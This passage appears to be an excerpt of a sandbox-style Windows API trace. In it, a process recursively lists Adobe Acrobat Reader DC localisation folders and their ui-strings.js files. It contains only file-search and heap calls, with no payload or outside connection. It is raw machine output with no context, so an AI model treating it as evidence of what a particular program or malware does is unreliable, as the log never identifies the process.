lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.375] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0274.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.375] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0274.376] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.376] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.376] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.377] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0274.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.377] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0274.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.377] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0274.378] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.378] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.378] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.378] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0274.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.378] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0274.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.378] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-gb\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0274.379] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.379] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0274.379] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0274.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.379] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0274.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.379] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0274.380] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.380] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.380] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.380] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0274.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.381] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0274.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.381] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0274.381] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.381] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.381] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.381] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0274.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.382] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0274.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.382] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0274.383] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.383] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x48b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.383] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x48b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.383] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0274.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.384] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0274.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.384] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0274.384] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.384] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.384] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.384] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0274.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.385] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0274.385] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.385] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0274.386] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.386] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.386] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.386] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0274.386] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.386] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0274.386] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.386] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, 